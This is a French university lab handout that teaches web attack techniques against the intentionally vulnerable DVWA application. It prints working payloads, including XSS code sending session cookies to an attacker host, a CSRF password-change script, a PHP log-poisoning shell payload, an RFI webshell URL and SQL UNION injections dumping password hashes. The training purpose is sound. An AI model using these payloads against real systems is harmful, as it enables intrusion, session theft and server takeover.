Académique Documents
Professionnel Documents
Culture Documents
Identification du document
Référence Ue_Cybersécurité-Dvwa.Docx
Version V 0.6
Nombre de pages 58
Historique du document
Version Date Auteur Commentaires
V 0.1 28/10/2017 Cédric BERTRAND Initialisation du document
V 0.2 12/11/2017 Cédric BERTRAND Modifications
V 0.3 27/10/2018 Cédric BERTRAND Modifications
V 0.4 30/10/2018 Cédric BERTRAND Modifications
V 0.5 05/11/2018 Cédric BERTRAND Modifications
V 0.6 09/11/2018 Cédric BERTRAND Modifications
Liens de référence
DVWA : Solutions,
explications et étude des https://www.information-security.fr/dvwa-sql-injection-solutions-
protections protections/
UE Cybersécurité DVWA 09/11/18
Sommaire
1 Objet du document ......................................................................................................... 4
2 DVWA ............................................................................................................................ 4
2.1 Outils ....................................................................................................................... 4
2.2 Configuration de DVWA .......................................................................................... 6
3 Cartographie de la machine DVWA ................................................................................ 7
3.1 Détecter la machine ................................................................................................ 7
3.2 Faire un scan de vulnérabilités ................................................................................ 8
4 Exploitation de vulnérabilités .........................................................................................10
4.1 Brute-force .............................................................................................................10
4.1.1 Description ......................................................................................................10
4.1.2 Exploitation .....................................................................................................11
4.2 Découvrir les ressources cachées (fuzzing) ...........................................................14
4.2.1 Description ......................................................................................................14
4.2.2 Exploitation .....................................................................................................14
4.3 Exécution de commandes ......................................................................................17
4.3.1 Description ......................................................................................................17
4.3.2 Exploitation .....................................................................................................19
4.3.2.1 Exploitation simple ...................................................................................19
4.3.2.2 Exploitation avancée ................................................................................19
4.4 XSS........................................................................................................................20
4.4.1 Description ......................................................................................................20
4.4.2 Exploitation .....................................................................................................22
4.4.2.1 Exploitation simple ...................................................................................22
4.4.2.2 Exploitation avancée ................................................................................23
4.5 CRSF .....................................................................................................................25
4.5.1 Description ......................................................................................................25
4.5.2 Exploitation .....................................................................................................25
4.5.2.1 Exploitation simple ...................................................................................25
4.5.2.2 Exploitation avancée ................................................................................27
4.6 La faille LFI (Local File Injection) ............................................................................29
4.6.1 Description ......................................................................................................29
4.6.2 Exploitation .....................................................................................................30
4.6.2.1 Exploitation simple ...................................................................................30
4.6.2.2 Exploitation avancée ................................................................................31
4.7 La faille RFI (Remote File Inclusion) .......................................................................37
4.7.1 Description ......................................................................................................37
4.7.2 Exploitation .....................................................................................................37
4.7.2.1 Exploitation manuelle ...............................................................................37
4.7.2.2 Exploitation automatisée ..........................................................................37
4.8 SQL Injection..........................................................................................................39
4.8.1 Description ......................................................................................................39
4.8.2 Exploitation .....................................................................................................40
4.8.2.1 Exploitation manuelle ...............................................................................40
4.8.2.2 Exploitation automatisée ..........................................................................44
5 Blind SQL Injection ........................................................................................................47
Classification : Public 2 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 3 / 58
UE Cybersécurité DVWA 09/11/18
1 Objet du document
Ce document a pour objet de présenter les techniques d’exploitation offensive. L’objectif est
de découvrir et d’expérimenter des techniques d’exploitation avancées avec l’application
vulnérable DVWA.
Note n°2 : les techniques d’exploitation avancée sont réservées aux personnes qui ont un
niveau avancé. Si c’est votre première expérience avec le pentest, débutez par les
techniques d’exploitation simples.
2 DVWA
DVWA est une application web qui contient de nombreuses vulnérabilités. Elle est destinée
aussi bien aux professionnels de la sécurité qu’aux personnes souhaitant s’entraîner ou
voulant en apprendre plus sur les attaques Web, de tester des techniques d’attaques dans
un environnement légal.
2.1 Outils
Pour effectuer ce tp, voici la liste des outils utilisés. Pour plus de simplicité, il est conseillé
d’utiliser la distribution Kali.
Iso
Kali (iso) : https://www.kali.org/
DVWA : https://github.com/ethicalhack3r/DVWA (télécharger l’ISO de dvwa pour plus de
simplicité)
Classification : Public 4 / 58
UE Cybersécurité DVWA 09/11/18
Configurer virtualbox (ou tout autre logiciel de virtualisation) pour que kali et dvwa soit sur le
même sous réseau local. Configurer la carte locale sur voboxnet0 (réseau interne de
virtualbox)
Bien vérifier que le serveur dhcp est activé sur le réseau interne de Virtualbox (vboxnet)
Une fois la machine dvwa lancée, vous pouvez taper la commande « ipconfig » pour vérifier
sa configuration IP :
Classification : Public 5 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 6 / 58
UE Cybersécurité DVWA 09/11/18
Puis configurer dvwa avec le niveau de sécurité « low » -> Onglet DVWA Security
Classification : Public 7 / 58
UE Cybersécurité DVWA 09/11/18
Options :
Classification : Public 8 / 58
UE Cybersécurité DVWA 09/11/18
Technique avancée
3- Une fois le scan réalisé, refaire un scan nessus en indiquant un cookie de session
avec la sécurité de dvwa activée à Low. (pour se faire, authentifiez-vous sur dvwa,
configurer le sécurité au niveau Low, puis enregistrez le cookie de session)
Figure 2 Enregistrer le cookie dans un fichier texte et le configurer pour que nessus l'utilise
Classification : Public 9 / 58
UE Cybersécurité DVWA 09/11/18
4 Exploitation de vulnérabilités
L’exploitation des vulnérabilités doit être réalisée avec Burp. Le document
« UE_Cybersecurite-Burp_v0.2 » vous aidera à configurer dvwa avec Burp si besoin.
4.1 Brute-force
4.1.1 Description
Les attaques de type “brute force” portent bien leur nom, il s’agit de tester une très grande
quantité de mots de passe pour un utilisateur donné, en présumant (avec certitude si l’on
dispose d’énormément de temps) que l’on tombera un jour sur le bon. La plupart des
processus d’authentification aujourd’hui demandent au minimum deux informations :
- Un login
- Un mot de passe
Les logins peuvent être faciles à trouver, la plupart des applications et logiciels disposent
souvent d’un compte d’administration “admin“, “root” ou “administrateur“. Dans d’autres cas,
les logins des utilisateurs peuvent être trouvés en faisant quelques recherches, un nom de
session Windows ou le nom des auteurs d’articles sur un blog (type CMS, WordPress),
etc. Une attaque par brute force est très simple à mettre en place lorsqu’il n’y a pas de
protectoin, on peut la schématiser comme suivant :
L’idée est donc que, si l’on peut proposer un nombre infini de réponse, on tombera
forcément sur la bonne à un moment donné.
Il faut savoir qu’il existe deux types d’attaque par brute force :
Avec dictionnaire : Dans ce cas, on se base sur une liste de mots, appelée dictionnaire,
pour générer notre attaque. Plus précisément, nous allons par exemple prendre la liste
des 100 mots de passe les plus utilisés et mettre cela dans un fichier. Pour chaque
login connu, nous allons tenter de nous authentifier avec ces 100 mots de passe (un
par un) en supposant qu’un utilisateur sera susceptible d’avoir mis un de ces mots de
passe. Les dictionnaires peuvent être variés, être composés de noms propres à une
application, un contexte, une entreprise ou au contraire être composés de tous les mots
Classification : Public 10 / 58
UE Cybersécurité DVWA 09/11/18
de passe dit “faibles” que les utilisateurs sont susceptibles d’utiliser (Exemple : Love,
God, Soleil, password123, …).
Sans dictionnaire : Ici, nous n’avons aucune information, il faut donc tester une à une
toutes les possibilités, mélanger les caractères alphanumériques, les caractères
spéciaux, etc. Par exemple, on va tester “aa“, puis “ab“, etc., puis passer à “aaa“, “aab“,
une fois que toutes les chaînes à deux caractères auront été tentées. Cela fait bien
entendu un nombre infini de possibilités qu’il est possible de cadrer en fonction des
informations dont on dispose, par exemple si l’on sait que l’application force l’utilisation
de mot de passe entre 8 et 10 caractères sans caractères spéciaux.
Au delà d’utiliser un très grand nombre de possibilités, il est également courant que les mots
de passe utilisés soient ceux par défaut. Alors, il est inutile de déployer les grands moyens,
et tester les mots de passe par défaut les plus répandus suffit. Exemple : “admin“,
“password“, “root“, “toor“, ou le nom de l’application.
4.1.2 Exploitation
Essayer de découvrir le mot de passe de l’utilisateur « admin ».
Capturer une authentification avec Burp.
Nous allons utiliser le module Intruder qui permet de répéter une action plusieurs fois
(exemple : essayer plusieurs mots de passe)
Classification : Public 11 / 58
UE Cybersécurité DVWA 09/11/18
Dans cet écran, on choisit la variable que l’on souhaite tester. Sur l’écran, le mot « pass »
est en surbrillance car c’est celui que nous voulons tester:
Allons ensuite sur l’onglet « payload » : utiliser la wordlist « weaksauce.txt » fournie avec ce
tp.
Classification : Public 12 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 13 / 58
UE Cybersécurité DVWA 09/11/18
Liens : http://thpierre.developpez.com/articles/fuzzing/
4.2.2 Exploitation
Découvrir des répertoires cachés sur l’application DVWA avec Burp. Pour cela, vous pouvez
utiliser le fichier « fuzz_common_tp.txt » qui contient le nom des répertoires et fichiers les
plus communs sur un serveur web.
Classification : Public 14 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 15 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 16 / 58
UE Cybersécurité DVWA 09/11/18
Il est à noter que dans le cas d’une telle attaque, les commandes sont exécutées avec les
droits et les privilèges de l’application web qui les exécute. On voit alors grandement l’intérêt
de faire tourner un serveur web avec des droits autres que ceux de “root“. L’exécution de
commande à distance dans une application web tournant avec les droits de “root” permettrait
à l’attaquant d’avoir directement tous les droits sur la machine cible. Si un compte avec des
droits plus restreints est utilisé (exemple : apache ou www-data), l’attaquant n’aura que ces
droits restreint via l’exécution des commandes.
Dans cet exercice, nous pouvons exécuter un ping sur l’adresse ip que nous souhaitons.
Néanmoins en Linux, il est possible « d’enchainer les commandes » au sein d’une même
commande. Par exemple, je peux afficher le contenu d’un fichier et au sein du résultat ne
garder que les lignes qui m’intéressent. Je souhaite par exemple afficher les mots de passe
du fichier « weaksauce.txt » et ne garder que les mots de passe qui contiennent le mot
« pass » (commande « cat » affiche le contenu du fichier, la commande « grep » garde
uniquement les lignes avec un mot-clé choisi:
Pour plus d’informations sur l’enchainement des commandes sous Linux, vous pouvez
consulter cet article : https://www.it-connect.fr/lenchainement-des-commandes-sous-
linux%EF%BB%BF/
Classification : Public 17 / 58
UE Cybersécurité DVWA 09/11/18
Nous allons par exemple utiliser le "&&" pour enchainer des commandes
Le « && »
Il est parfois utile d'exécuter une commande que si les commandes précédentes ont
réussies. Par exemple si l'on souhaite vérifier l'existence d'un dossier et, s’il existe, y créer
un fichier :
Linux enregistre un paramètre à chaque exécution de commande (comme un flag) qui peut
être récupéré dans un script (par exemple). Ce paramètre se met à "0" si la commande s'est
executée correctement et à "2" (dans la plupart des cas) quand la commande à échouée.
Pour déterminer si une commande a bien réussie, Linux analyse ce paramètre et, dans le
cas d'un "0" avec un enchainement de commande "&&", il exécute la commande suivante. Si
le paramètre en question est "2", c'est que la commande précédente ne s'est pas
correctement déroulée et il met donc fin à l'exécution des prochaines commandes.
Classification : Public 18 / 58
UE Cybersécurité DVWA 09/11/18
4.3.2 Exploitation
4.3.2.1 Exploitation simple
Afficher le fichier /etc/passwd.
Essayer d’afficher le contenu du fichier /etc/shadow ; Cela marche-t-il ? Pourquoi ?
Classification : Public 19 / 58
UE Cybersécurité DVWA 09/11/18
4.4 XSS
4.4.1 Description
Les failles de type XSS sont parmi les failles les plus répandues dans les applications
et sites web, elles sont d’ailleurs en troisième position dans l’OWASP Top Ten Vulnerability
2013 . Une faille XSS va permettre à un attaquant d’exécuter du code JavaScript dans
les navigateurs des utilisateurs des applications et sites web visés, cela en jouant sur
les données renvoyées par l’application web aux clients.
La particularité des failles XSS réfléchies (reflected) est qu’elles ne sont pas
permanentes, cela signifie que le code malveillant que l’attaquant souhaite exécuter
sur les navigateurs des victimes n’est pas stocké dans l’application web mais est
propre à la requête/réponse entre le serveur web et la victime. Nous avons déjà vu
certains contextes où l’application web nous renvoie un mot ou une phrase que nous avons
saisi dans un formulaire.
Le cas le plus classique étant un formulaire de recherche. Si l’on recherche tous les articles
de “John“, la page retour contiendra quelque chose comme “Voici les articles de John” . On
voit alors que la page affichée est propre à la requête (la recherche faite par l’utilisateur).
Pour les failles XSS réfléchies, on retrouve ce fonctionnement car le code JavaScript à
exécuter va être positionné par l’attaquant dans l’URL ou les paramètres que la victime va
passer en requête au serveur. Voici un schéma de principe reprenant le fonctionnement
d’une attaque XSS réfléchie :
Ici, nous voyons donc que le pirate arrive à persuader sa victime d’aller cliquer sur un lien, ce
lien est une URL exploitant une faille XSS sur l’application web en question et va permettre
Classification : Public 20 / 58
UE Cybersécurité DVWA 09/11/18
l’exécution de code JavaScript afin de, par exemple, récupérer son cookie de connexion afin
de le renvoyer vers le pirate, ce qui est une des possibilités du JavaScript.
Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/
Si l’on utilise une balise <h1> (balise html pour mettre un titre), on constate que le code est
interprété par l’application :
Nous constatons que nous pouvons aussi exécuté du code javascript. Exemple avec : «
<script>alert(« hello cedric »)</script>
Classification : Public 21 / 58
UE Cybersécurité DVWA 09/11/18
4.4.2 Exploitation
4.4.2.1 Exploitation simple
Récupérer le cookie de l’utilisateur et l’utiliser pour ouvrir une autre session
Lien : https://www.go4expert.com/articles/stealing-cookie-xss-t17066/
Nous allons tenter d’usurper l’identité de l’utilisateur en volant ses identifiants de session
(cookie).
L’idée est d’exécuter le code suivant. :
<script>new Image().src='http://attacker:port/?cookie=' +
encodeURI(document.cookie);</script>
Classification : Public 22 / 58
UE Cybersécurité DVWA 09/11/18
<script>new Image().src='http://192.168.1.32:4444/?cookie=' +
encodeURI(document.cookie);</script>
Ce script réalise une requête afin de récupérer une image non existante (new Image().src), :
il s’agit d’un subterfuge afin de voler l’ensemble des cookies associés au domaine courant.
Le serveur envoie alors le cookie à la machine attaquante (192.168.1.32) et il est alors
possible de générer un cookie dans son navigateur afin d’accéder au compte de la victime.
4.4.2.2.2 Beef
Beef est un framework permettant d’exploiter les vulnérabilités de type XSS et de réaliser de
nombreuses actions comme :
Récupération d’informations
Vol de cookies (évidemment)
Keylogger
Liste des sites/domaines visités
Fingerprint du navigateur (OS, plugins…)
Webcam !
Classification : Public 23 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 24 / 58
UE Cybersécurité DVWA 09/11/18
4.5 CRSF
4.5.1 Description
Les attaques de type cross-site request forgery (ou CSRF) sont mal connues et trop souvent
non prises en compte par les développeurs de sites Internet. Elles sont également souvent
confondues avec les attaques de type injection de code indirecte (cross-site scripting ou
XSS) alors que le principe est quelque peu différent (voir CERTA-2002-INF-001).
En français, un cross-site request forgery est une injection de requête(s) illégitime(s) par
rebond. Concrètement, pour un attaquant, cela consiste à effectuer des opérations sur un
site sans le consentement d’un utilisateur.
L’attaque consiste à provoquer l’envoi de requêtes (par exemple, GET ou POST) par une
victime vers un site vulnérable (V), à son insu et en son nom (cf. figures 1 et 2). L’envoi des
requêtes se fait lorsque la victime visite un site malveillant ou compromis (M), ou clique sur
un lien. L’attaque cible toujours un ou plusieurs sites en particulier qui sont vulnérables. Le
CSRF se fait toujours en aveugle, car l’attaquant provoque l’envoi d’une ou plusieurs
requêtes sans obtenir de réponse.
Figure 3 L’attaquant envoie un courriel qui provoque l’envoi d’une requête illégitime
Figure 4 La visite d’un site malveillant provoque l’envoi d’une requête illégitime
On peut distinguer deux types d’attaques : celles qui profitent d’une authentification déjà
établie sur le site (V) (session riding ou détournement de session) et celles qui vont forcer
une authentification sur ce site.
4.5.2 Exploitation
4.5.2.1 Exploitation simple
On commence tout d’abord par capturer la requête de changement de mot de passe avec
Burp
Classification : Public 25 / 58
UE Cybersécurité DVWA 09/11/18
L’idée est de faire exécuter cette requête à un utilisateur à qui l’on souhaite changer le mot
de passe.
Pour cela, on va créer une simple page html qui contiendra notre requête. L’idée sera
ensuite d’inciter (ou de forcer) l’utilisateur à visiter cette page (envoi d’un courriel, faille xss,
etc.).
Classification : Public 26 / 58
UE Cybersécurité DVWA 09/11/18
<script>new
Image().src="http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf
=pwned&Change=Change";</script>
En exécutant ce script, une requête de changement de mot de passe est alors réalisée de
manière « invisible » :
Classification : Public 27 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 28 / 58
UE Cybersécurité DVWA 09/11/18
Plus précisément, cela consiste en le fait d’utiliser l’application et ses fonctionnalités afin de
charger des pages et des fichiers spécifiques, des fichiers internes aux serveurs qui n’ont
normalement pas à être lus par les clients du serveur web (faille LFI pour Local File
Inclusion), mais également des pages web externes au serveur web si le serveur web est
configuré pour (ce que l’on appelle une faille RFI pour Remote File Inclusion).
Outre le fait que l’application puisse alors être utilisée afin de charger des pages et fichiers
qu’elle n’est pas censée traiter, une faille de type File Inclusion peut amener à :
Une exécution de code côté serveur, un code maîtrisé par le pirate
Un déni de service, si l’on essaie par exemple de faire charger une ressource très
importante sur une page web
La fuite d’informations sensibles, ce qui est notamment le cas lorsque l’on utilise une
faille de type File Inclusion pour lire des fichiers internes aux serveurs
Détaillons un peu le concept même de l’attaque. Certaines applications sont construites de
façon à recevoir en paramètre un fichier pouvant être exécuté, par exemple :
http://serveur/affichage.php?fichier=index.php
Ici, nous avons donc un script php “affichage.php” qui attend comme paramètre un nom de
fichier. On imagine donc que si on lui demande d’afficher “index.php” ou “index“, il va aller
chercher dans l’arborescence actuelle le fichier “index.php” puis l’exécuter pour l’afficher
dans la page.
Le fait est que si on demande maintenant au script “affichage.php” d’afficher un fichier
disponible sur un répertoire au dessus de lui-même, par exemple ../fichier2.html (en
supposant qu’il existe) :
http://serveur/affichage.php?fichier=../fichier2.html
On voit donc que l’on commence tout doucement à jouer avec l’arborescence interne du
serveur. Si l’on décide de remonter l’arborescence complète du serveur, c’est tout à fait
possible :
http://serveur/affichage.php?fichier=../../../../../../etc/pas
swd
Classification : Public 29 / 58
UE Cybersécurité DVWA 09/11/18
Ici, quand une faille de type LFI est présente, on peut directement afficher le contenu de
certains fichiers sensibles comme par exemple le fichier /etc/passwd.
Par extension, une faille de type RFI consiste en la même opération sauf que l’on demande
à “affichage.php” d’aller chercher une ressource (image, fichier texte ou page HTML) qui se
situe sur un autre site. Il agira donc en tant que client web pour charger l’image et l’inclure
dans son code de rendu.
4.6.2 Exploitation
4.6.2.1 Exploitation simple
Classification : Public 30 / 58
UE Cybersécurité DVWA 09/11/18
Pourquoi les journaux d’événements et pas un autre fichier ? Tout simplement parce que
nous avons besoin d’écrire dans un fichier (pour injecter nos commandes) puis de lire le
fichier. Or chaque accès au serveur web est enregistré dans les journaux d’événements, et
que de base l’utilisateur www-data a un accès en lecture aux journaux d’événements du
serveur web.
Classification : Public 31 / 58
UE Cybersécurité DVWA 09/11/18
La première étape est tout d’abord de déterminer quel est le chemin des journaux
d’événements pour ensuite pouvoir afficher le contenu du fichier.
Pour cela, on va tester les emplacements les plus communs des journaux d’événements du
serveur web et vérifier si on a un accès.
Sous cette version de dvwa (qui utilise lampp et non pas apache), le chemin des accès web
est : /opt/lampp/logs/access_log (note : ce fichier a été découvert par le fuzzing de fichiers
en exploitant la vulnérabilité LFI)
http://192.168.1.77/vulnerabilities/fi/?page=/opt/lampp/logs/access_log
Chaque accès au serveur web est enregistré dans ce fichier, maintenant on va chercher à y
injecter des commandes puis de lire le fichier afin que les commandes soient exécutées.
C’est comme si on écrivait des commandes dans un fichier texte puis qu’on lisait ce fichier
avec un interpréteur pour les exécuter. Là c’est ce qu’on va faire avec des commandes php.
L’idée est donc d’écrire les commandes que nous souhaitons exécuter dans les journaux
d’événements du serveur puis de lire ce fichier afin que nos commandes soient lues et
exécutées.
Comment faire ?
Classification : Public 32 / 58
UE Cybersécurité DVWA 09/11/18
Nous allons donc injecter nos commandes php via l’url. La commande qu’on cherche à
injecter est la suivante :
On se connecte au serveur et on demande une page qui n’existe pas avec notre commande
:
nc <ip_dvwa> 80
GET /h<?php echo shell_exec(base64_decode($_GET['cmd']));?> HTTP/1.1
Dans le fichier des accès web du serveur, nous avons notre commande injectée qui a été
enregistrée et qui n’attend plus qu’à être exécutée. On lit alors le fichier et on passe notre
commande en paramètre (cmd=)
On demande l’accès au fichier des accès web (en indiquant la commande à exécuter
encodée en base 64) :
GET /vulnerabilities/fi/?page=/opt/lampp/logs/access_log&cmd=Y2F0IC9ldGMvcGFzc3dk
Classification : Public 33 / 58
UE Cybersécurité DVWA 09/11/18
Réponse de l’application :
1
http://php.net/manual/fr/wrappers.php
Classification : Public 34 / 58
UE Cybersécurité DVWA 09/11/18
Il est aussi possible d’utiliser le module web_delivery2 de metasploit pour obtenir un accès
sur la cible (via meterpreter)
2
https://www.offensive-security.com/metasploit-unleashed/web-delivery/
Classification : Public 35 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 36 / 58
UE Cybersécurité DVWA 09/11/18
http://localhost/rfi.php?page=http://serveur-
pirate.net/exploit.php
Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante.
4.7.2 Exploitation
4.7.2.1 Exploitation manuelle
Il est possible d’exploiter cette vulnérabilité pour exécuter un webshell et prendre le contrôle
du serveur.
http://<ip_dvwa>/vulnerabilities/fi/index.php?page=http://<ip_attaquant>/webshell.php
Exemple d’une injection rfi ci-dessous
Classification : Public 37 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 38 / 58
UE Cybersécurité DVWA 09/11/18
http://serveur.fr/search.php?s=bob
Le serveur web va alors utiliser ce paramètre afin d’effectuer une recherche dans une base
de données, qui contient un ensemble d’informations sur les articles et leurs auteurs, une
requête de ce type :
La requête obtient alors un ensemble de données en retour, données qui vont être mises en
forme par PHP et retournées sous forme de page HTML au client web.
Le principe d’une injection SQL va donc être d’utiliser la requête SQL faite par le code
PHP afin de lire ou d’écrire des informations en base de données, cela n’étant
évidemment pas prévu par le développeur de l’application web.
Par contre il est nécessaire d’avoir quelques bases du langage SQL afin d’exploiter ce genre
de faille. On peut généralement exfiltrer une très grande quantité de données lorsqu’une
faille SQL injection est exploitée. Il est à noter que l’on retrouve également un principe de
cloisonnement important. Si l’application web requête la base de données avec un identifiant
tel que “root” ou un utilisateur ayant des droits de lecture/écriture sur d’autres bases de
données, il sera alors également possible de les requêter.
Classification : Public 39 / 58
UE Cybersécurité DVWA 09/11/18
4.8.2 Exploitation
4.8.2.1 Exploitation manuelle
Ce chapitre est très inspiré de l’article suivant : https://www.information-security.fr/dvwa-sql-
injection-solutions-protections/
La première chose à faire va être de voir à quel point nous pouvons agir sur la requête faite
en base de données. La plupart du temps, les requêtes SQL faites via PHP sont délimitées
par des guillemets ou desapostrophes, également, les paramètres fournis par le client web
sont parfois directement inclus dans la requête.
Ici, si l’on saisi ” 1′ ” on obtient une erreur SQL, cela prouve donc que l’on peut agir sur la
requête SQL faite au serveur de base de données, en tout cas modifier sa structure pour
qu’elle ne soit plus transmise de la même façon.
Voila plus exactement comment est construite la requête si nous regardons le code source :
Classification : Public 40 / 58
UE Cybersécurité DVWA 09/11/18
Ici, nous pouvons voir que le paramètre envoyé par les clients via le formulaire est
directement inclus, sans vérification, dans la requête SQL. Voici donc ce que devient notre ”
1′ ” :
On voit donc ici qu’il y a effectivement un problème d’apostrophe, d’où l’erreur. Essayons de
régler ce problème en rajoutant une apostrophe pour fermer celle que nous avons ouverte ”
1””:
Nous remarquons alors qu’il n’y a plus d’erreur, ici, on peut donc espérer inclure du code
dans la requête SQL, plus exactement rajouter des informations dans la requête SQL
"SELECT first_name, last_name FROM users WHERE user_id = '1' Informations ajoutées
dans la requête SQL sans occasionner d'erreur''"
Faisons simple pour l’instant en essayant d’afficher plus d’un utilisateur : 0′ OR user_id >’
"SELECT first_name, last_name FROM users WHERE user_id = '1' OR user_id >'"
Classification : Public 41 / 58
UE Cybersécurité DVWA 09/11/18
Ce que nous voyons ici est donc une modification de la requête SQL passée par le script
PHP. Au lieu de simplement demander l’affichage des informations pour l’utilisateur ayant
l’ID « 1 », on a demandé l’affichage des informations pour l’utilisateur dont l’ID est 1 OU ID
supérieur à rien (nous aurions pu mettre mettre 0), ce qui a pour effet d’afficher les
informations de tous les utilisateurs.
Si nous voulons aller plus loin dans l’attaque, nous pouvons essayer de deviner le nom de la
colonne contenant les mots de passe puis de les afficher grâce à une requête “UNION”
permettant de joindre une autre requête SELECT, exemple : 1′ UNION select password,
last_name from users#
"SELECT first_name, last_name FROM users WHERE user_id = '1' UNION select password,
last_name from users#"
Ici, nous arrivons donc à exploiter la faille SQL injection afin d’afficher directement les mots
de passe des utilisateurs dans la page de réponse, ou plutôt le hash des mots de passe
utilisateurs :
Classification : Public 42 / 58
UE Cybersécurité DVWA 09/11/18
Il est aussi possible d’afficher un fichier local du serveur, notamment via “load_file“, qui est
une syntaxe permettant la lecture de contenus locaux pour les intégrer à la réponse SQL
: LOAD DATA INFILE Syntax
Résultat :
Classification : Public 43 / 58
UE Cybersécurité DVWA 09/11/18
Nous avons vu qu’afin de réaliser l’injection SQL, il est important de connaitre le nombre de
colonnes de la table.
Commandes : https://github.com/sqlmapproject/sqlmap/wiki/Usage
Note : si vous avez une erreur sous sqlmap de type « error redirect », et que l’injection ne
fonctionne pas c’est qu’il est très probable que l’accès à la page qui contient l’injection sql
nécessite une authentification… Il faut alors récupérer le cookie de session et l’indiquer à
sqlmap avec l’option –cookie
Classification : Public 44 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 45 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 46 / 58
UE Cybersécurité DVWA 09/11/18
Dans le cadre de l’exploitation d’une injection SQL à l’aveugle, le terme « aveugle » signifie
que l’on va devoir exploiter la vulnérabilité sans avoir la possibilité de voir les erreurs SQL
car le code renvoyant les erreurs est absent dans la page PHP (par mesure de sécurité ou
car le serveur n’affiche pas les erreurs du serveur).
Dans le cas présent, nous savons que la valeur à envoyer est un chiffre. Le chiffre
correspond à l’ID de l’utilisateur (1 renvoie admin, 2 gordon, etc.)
Classification : Public 47 / 58
UE Cybersécurité DVWA 09/11/18
Il faut savoir que les requêtes SQL acceptent assez bien les opérations mathématiques. En
règle générale dans un requête SQL, si l’on envoie “1+1″ , cela sera automatiquement traduit
par “2” .
Cela peut dans notre cas être utile pour voir à quel point l’on peut modifier la requête SQL
envoyée au serveur de base de données. Savoir si nous pouvons modifier la requête SQL,
nous permet de savoir si nous pouvons réaliser une injection SQL.
En cas d’envoi de la valeur « 1+1 » dans le formulaire, nous avons en réponse les
informations de l’utilisateur “Gordon” (l’utilisateur qui a l’ID 2) :
5.2 Exploitation
5.2.1 Exploitation simple
Nous allons par exemple détecter la version du serveur mysql.
Avec l’injection SQL classique, nous avons pu directement récupérer le numéro de la
version du serveur mysql utilisé avec la requête suivante :
Classification : Public 48 / 58
UE Cybersécurité DVWA 09/11/18
Si nous exécutons cette même requête pour l’injection SQL à l’aveugle, nous n’obtenons pas
de résultat.
Comme dit précédemment, le serveur nous répond par vrai ou faux (pas de réponse).
Par exemple, la requête suivante demande si la version de mysql est égale à 4 (« 'OR
version()='4' -- ';)
”
Pas de réponse. (ce qui signifie que la réponse est fausse)
Classification : Public 49 / 58
UE Cybersécurité DVWA 09/11/18
Par contre, si nous demandons si la version du serveur mysql est 5.1.41 (ce numéro a été
récupéré lors de l’injection SQL classique), nous avons une réponse du serveur ce qui
signifie que la réponse est vraie (et que la version du serveur mysql est bien égale à 5.1.41).
Dans un cas réel, nous aurions dû automatiser la requête pour trouver la bonne réponse (la
version du serveur mysql est-elle égale à 3 ? égale à 3.1 ? égale à 3.2 ? etc.) jusqu’à ce que
le serveur nous réponde vrai.
Concernant les outils d’exploitation, sqlmap supporte les injections sql à l’aveugle. Il existe
aussi de nombreux autres outils dont bbqsql (https://github.com/Neohapsis/bbqsql).
Classification : Public 50 / 58
UE Cybersécurité DVWA 09/11/18
5.3 Upload
5.3.1 Description
Les failles de sécurité de type File Upload se caractérisent généralement par la possibilité
d’envoyer des fichiers de façon un peu trop libre sur l’application web visée. Généralement,
un formulaire d’upload de fichier est mis en place pour différentes raisons. Cela peut par
exemple être afin d’uploader une image de profil, de partager des fichiers ou des images
avec des collaborateurs, etc. Quoi qu’il en soit, une faille de type File Upload est exploitée
lorsqu’un pirate se sert de la possibilité de charger un fichier sur le serveur à des fins non
prévues, par exemple :
- Saturer l’espace disque du serveur avec des fichiers trop lourds
- Charger des scripts lui permettant d’exécuter des actions sur le serveur
En effet, il faut savoir que par “fichier”, on entend aussi bien des images ou des documents
standard, mais également des scripts et bouts de code (PHP par exemple). Cela est très
dangereux, car un attaquant qui arrive à uploader un webshell sur le serveur web ciblé
possèdera alors une possibilité d’action importante.
Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/
5.3.2 Exploitation
5.3.2.1 Exploitation simple
En niveau « facile » sur dvwa, il n’y a pas de contrôle les extensions uploadées. Uploader un
shell php via la fonctionnalité upload puis y accéder.
Classification : Public 51 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 52 / 58
UE Cybersécurité DVWA 09/11/18
On obtient un message d’erreur, car notre fichier possède une extension non autorisée
(.php)
Classification : Public 53 / 58
UE Cybersécurité DVWA 09/11/18
Si on tente d’uploader le fichier, ceci fonctionnera, mais nous ne pourrons pas exécuter le
fichier (car une extension en jpg). Comme le contrôle de l’extension est réalisé sur la page
(par une fonction javascript), on intercepte la requête lors de l’upload et on renomme notre
fichier à la volée.
Cette fois-ci, notre fichier a bien été uploadé avec une extension php et nous pouvons ainsi
l’exécuter.
Classification : Public 54 / 58
UE Cybersécurité DVWA 09/11/18
Classification : Public 55 / 58
UE Cybersécurité DVWA 09/11/18
Le compte obtenu par l’exploitation de vulnérabilités a des droits limités (compte <www-
data> utilisé par le processus Apache).
La prochaine étape est donc d’obtenir les droits du compte administrateur (root) ce qui nous
permettra d’effectuer toutes les actions que nous souhaitons : installation d’une porte
dérobée, effacement des fichiers logs, cassage des comptes utilisateurs, etc
Pour élever nos privilèges, on utilise souvent un exploit local. Maintenant comment trouver la
vulnérabilité à utiliser ? La clé est l’énumération, qui comprend :
- Enumération du système d’exploitation
- Enumération des services et des applications
- Enumération du système de fichiers
- Enumération des informations confidentielles
- Enumération des connexions réseau
Il s’agit d’abord de récupérer le maximum d’informations, puis une fois des vulnérabilités
détectées, d’exploiter l’une d’elles.
6.2.2 Exploitation
6.2.2.1 Exploitation simple
Classification : Public 56 / 58
UE Cybersécurité DVWA 09/11/18
Metasploit possède des modules pour élever ses privilèges (encore faut-il savoir lequel
utiliser…)
